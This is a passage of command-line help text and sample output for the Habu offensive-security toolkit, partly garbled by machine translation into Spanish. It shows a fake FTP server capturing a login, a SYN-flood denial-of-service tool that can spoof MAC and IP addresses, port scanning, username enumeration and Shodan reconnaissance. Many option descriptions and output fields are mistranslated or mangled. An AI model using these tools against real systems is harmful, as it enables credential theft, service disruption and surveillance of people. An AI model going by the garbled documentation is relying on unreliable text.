Conexión aceptada de ('192.168.0.27', 56832)
¡Credenciales recolectadas de 192.168.0.27! Fabian 123456
Opciones:
-Un dirección de texto para vincular (predeterminado: todos)
-P entero que puerto usar (predeterminado: 21)
--ssl habilitar ssl/tls (predeterminado: falso)
-sll-cert text ssl/tls certs cert
-Archivo de tecla SSL/TLS de texto-ssl-key
-V demasiado
--Help Muestra este mensaje y salida.
Uso: Habu.shodan [Opciones] IP Cliente de API de Shodan simple. Imprime el resultado JSON de una consulta de Shodan. Ejemplo: $ Habu.shodan 216.58.222.36 ASN AS15169 ISP Google Names de host EZE04S06-In4.1e100.net, Gru09S17-In-F36.1e100.net Country_Code US Region_code CA Vista de montaña de la ciudad organizar Google Open_ports TCP/443, TCP/80 Opciones: --cache /--no-cache -v salida verbosa -formato [txt | csv | json | nmap] formato de salida --Help Muestra este mensaje y salida.
Uso: Habu.shodan.Query [Opciones] Consulta
Cliente de API de Shodan simple.
Imprime el resultado JSON de una consulta de Shodan.
Ejemplo:
$ Habu.shodan 8.8.8.8
{
"Names de host": [
"Google-Public-DNS-A.google.com"
]
"country_code": "nosotros",
"org": "google",
"datos": [
{
"ISP": "Google",
"Transporte": "UDP",
"Datos": "Recursion: habilitado",
"Asn": "AS15169",
"Puerto": 53,
"Names de host": [
"Google-Public-DNS-A.google.com"
]
}
]
"Puertos": [
53
]
}
Opciones:
-C deshabilitar el caché
-v salida verbosa
-O Archivo de salida del nombre de archivo (predeterminado: stdout)
--Help Muestra este mensaje y salida.
Uso: Habu.tcp.Flags [Opciones] IP Envíe paquetes TCP con diferentes banderas y cuente qué respuestas reciben. Se puede utilizar para analizar cómo las diferentes implementaciones de la pila TCP/IP y las configuraciones responden al paquete con varias combinaciones de bandera. Ejemplo: # Habu.tcp_flags www.portantier.com S -> sa FS -> SA FA -> R Sa -> r Por defecto, el comando envía todas las combinaciones de bandera posibles. Puede especificar qué indicadores deben estar presentes (reduciendo la cantidad de Combinaciones posibles), con la opción '-f'. Además, puede especificar qué indicadores desea estar presente en la respuesta paquetes para mostrar, con la opción '-r'. Con el siguiente comando, ves todas las combinaciones posibles que tienen el FIN (F) Conjunto de bandera y genera una respuesta que contiene el indicador RST (R). Ejemplo: # Habu.tcp_flags -f f -r r www.portantier.com FPA -> R FSPA -> R Fau -> r Opciones: -p puerto entero para usar (predeterminado: 80) -f Banderas de texto que deben enviarse siempre (predeterminada: Fuzz con todas las banderas) -r filtro de texto por indicadores de respuesta (predeterminado: Mostrar todas las respuestas) -V demasiado -Prime parada en la primera respuesta que coincide --Help Muestra este mensaje y salida.
Uso: Habu.tcp.isn [Opciones] IP Crear conexiones TCP e imprima los números de secuencia inicial de TCP para cada uno. $ sudo habu.tcp.isn -c 5 www.portantier.com 1962287220 1800895007 589617930 3393793979 469428558 NOTA: Puede obtener una representación gráfica (necesita Matplotlib paquete) usando la opción '-g' para comprender mejor la aleatoriedad. Opciones: -p puerto entero para usar (predeterminado: 80) -c entero cuántos paquetes enviar/recibir (predeterminado: 5) -i interfaz de texto para usar -g gráfico (requiere matplotlib) -v salida verbosa --Help Muestra este mensaje y salida.
Uso: Habu.tcp.scan [Opciones] IP Escáner de puerto TCP. Imprima los puertos que generaron una respuesta con el indicador syn o (si se muestra use -a) todos los puertos que generaron una respuesta. Es realmente básico en comparación con NMAP, pero ¿quién está comparando? Ejemplo: # Habu.tcp.scan -P 22,23,80,443 -S 1 45.77.113.133 22 S -> SA 80 S -> SA 443 S -> SA Opciones: -p puertos de texto para usar (predeterminado: 80) Ejemplo: 20-23,80,135 -i interfaz de texto para usar -f indicadores de texto para usar (predeterminado: s) -S tiempo de texto entre sondas (predeterminado: envíe todo juntos) -t Tiempo de espera entero para cada sonda (predeterminado: 2 segundos) -a Show all responses (default: Only containing SYN flag) -v Verbose output --help Show this message and exit.
Usage: habu.tcp.synflood [OPTIONS] IP Launch a lot of TCP connections and keeps them opened. Some very old systems can suffer a Denial of Service with this. Reference: https://en.wikipedia.org/wiki/SYN_flood Ejemplo: # sudo habu.tcp.synflood 172.16.0.10 ................. Each dot is a packet sent. You can use the options '-2' and '-3' to forge the layer 2/3 addresses. If you use them, each connection will be sent from a random layer2 (MAC) and/or layer3 (IP) address. You can choose the number of connections to create with the option '-c'. The default is never stop creating connections. Note: If you send the packets from your real IP address and you want to keep the connections half-open, you need to setup for firewall to don't send the RST packets. Opciones: -i TEXT Wich interface to use (default: auto) -c INTEGER How many packets send (default: infinit) -p INTEGER Port to use (default: 135) -2 Forge layer2/MAC address (default: No) -3 Forge layer3/IP address (default: No) -v Verbose --help Show this message and exit.
Usage: habu.traceroute [OPTIONS] IP TCP traceroute. Identify the path to a destination getting the ttl-zero-during-transit mensajes. Note: On the internet, you can have various valid paths to a device. Ejemplo: # habu.traceroute 45.77.113.133 IP / ICMP 192.168.0.1 > 192.168.0.5 time-exceeded ttl-zero-during-transit / IPerror / TCPerror IP / ICMP 10.242.4.197 > 192.168.0.5 time-exceeded ttl-zero-during-transit / IPerror / TCPerror / Padding IP / ICMP 200.32.127.98 > 192.168.0.5 time-exceeded ttl-zero-during-transit / IPerror / TCPerror / Padding . IP / ICMP 4.16.180.190 > 192.168.0.5 time-exceeded ttl-zero-during-transit / IPerror / TCPerror . IP / TCP 45.77.113.133:http > 192.168.0.5:ftp_data SA / Padding Note: It's better if you use a port that is open on the remote system. Opciones: -p INTEGER Port to use (default: 80) -i TEXT Interface to use --help Show this message and exit.
Usage: habu.upgrade [OPTIONS] Upgrade habu (from https://github.com/fportantier/habu) Opciones: --help Show this message and exit.
Usage: habu.usercheck [OPTIONS] USERNAME
Check if the given username exists on various social networks and other
popular sites.
$ habu.usercheck portantier
{
"aboutme": "https://about.me/portantier",
"disqus": "https://disqus.com/by/portantier/",
"github": "https://github.com/portantier/",
"ifttt": "https://ifttt.com/p/portantier",
"lastfm": "https://www.last.fm/user/portantier",
"medium": "https://medium.com/@portantier",
"pastebin": "https://pastebin.com/u/portantier",
"pinterest": "https://in.pinterest.com/portantier/",
"twitter": "https://twitter.com/portantier",
"vimeo": "https://vimeo.com/portantier"
}
Opciones:
-c Disable cache
-v Verbose output
-w Open each valid url in a webbrowser
--help Show this message and exit.
Usage: habu.version [OPTIONS] Opciones: --help Show this message and exit.
Usage: habu.vhosts [OPTIONS] HOST
Use Bing to query the websites hosted on the same IP address.
$ habu.vhosts www.telefonica.com
www.telefonica.com -> 212.170.36.79
[
'www.telefonica.es',
'universitas.telefonica.com',
'www.telefonica.com',
]
Opciones:
-c Disable cache
-p INTEGER Pages count (Default: 10)
-f INTEGER First result to get (Default: 1)
--help Show this message and exit.
Usage: habu.virustotal [OPTIONS] INPUT
Send a file to VirusTotal https://www.virustotal.com/ and print the report
in JSON format.
Note: Before send a file, will check if the file has been analyzed before
(sending the sha256 of the file), if a report exists, no submission will
be made, and you will see the last report.
$ habu.virustotal meterpreter.exe
Verifying if hash already submitted: f4826b219aed3ffdaa23db26cfae611979bf215984fc71a1c12f6397900cb70d
Sending file for analysis
Waiting/retrieving the report...
{
"md5": "0ddb015b5328eb4d0cc2b87c39c49686",
"permalink": "https://www.virustotal.com/file/c9a2252b491641e15753a4d0c4bb30b1f9bd26ecff2c74f20a3c7890f3a1ea23/analysis/1526850717/",
"positives": 49,
"resource": "c9a2252b491641e15753a4d0c4bb30b1f9bd26ecff2c74f20a3c7890f3a1ea23",
"response_code": 1,
"scan_date": "2018-05-20 21:11:57",
"scan_id": "c9a2252b491641e15753a4d0c4bb30b1f9bd26ecff2c74f20a3c7890f3a1ea23-1526850717",
"scans": {
"ALYac": {
"detected": true,
"result": "Trojan.CryptZ.Gen",
"update": "20180520",
"version": "1.1.1.5"
},
... The other scanners ...
},
"sha1": "5fa33cab1729480dd023b08f7b91a945c16d0a9e",
"sha256": "c9a2252b491641e15753a4d0c4bb30b1f9bd26ecff2c74f20a3c7890f3a1ea23",
"total": 67,
"verbose_msg": "Scan finished, information embedded"
}
Opciones:
-v Verbose output
--help Show this message and exit.
Usage: habu.web.report [OPTIONS] [INPUT_FILE] Makes a report that includes HTTP headers of websites. Optionally, uses Firefox or Chromium to take a screenshot of the websites. The expected format is one url per line. Creates a directory called 'report' with the content inside. $ echo https://www.portantier.com | habu.web.report Opciones: -v Verbose output -s Take a screenshot for each website -b [firefox|chromium-browser] Browser to use for screenshot. --help Show this message and exit.
Usage: habu.web.screenshot [OPTIONS] URL Uses Firefox or Chromium to take a screenshot of the website. $ habu.web.screenshot https://www.portantier.com Opciones: -b [firefox|chromium-browser] Browser to use for screenshot. -o TEXT Output file. (default: screenshot.png) --help Show this message and exit.
Usage: habu.whois.domain [OPTIONS] DOMAIN Simple whois client to check domain names. Ejemplo: $ habu.whois.domain google.com registrar MarkMonitor, Inc. whois_server whois.markmonitor.com creation_date 1997-09-15 04:00:00 expiration_date 2028-09-14 04:00:00 name_servers ns1.google.com, ns2.google.com, ns3.google.com, ns4.google.com emails [email protected], [email protected] dnssec unsigned org Google LLC country US state CA Opciones: --json Print the output in JSON format --csv Print the output in CSV format --help Show this message and exit.
Usage: habu.whois.ip [OPTIONS] IP Simple whois client to check IP addresses (IPv4 and IPv6). Ejemplo: $ habu.whois.ip 8.8.4.4 asn 15169 asn_registry arin asn_cidr 8.8.4.0/24 asn_country_code US asn_description GOOGLE - Google LLC, US asn_date 1992-12-01 Opciones: --json Print the output in JSON format --csv Print the output in CSV format --help Show this message and exit.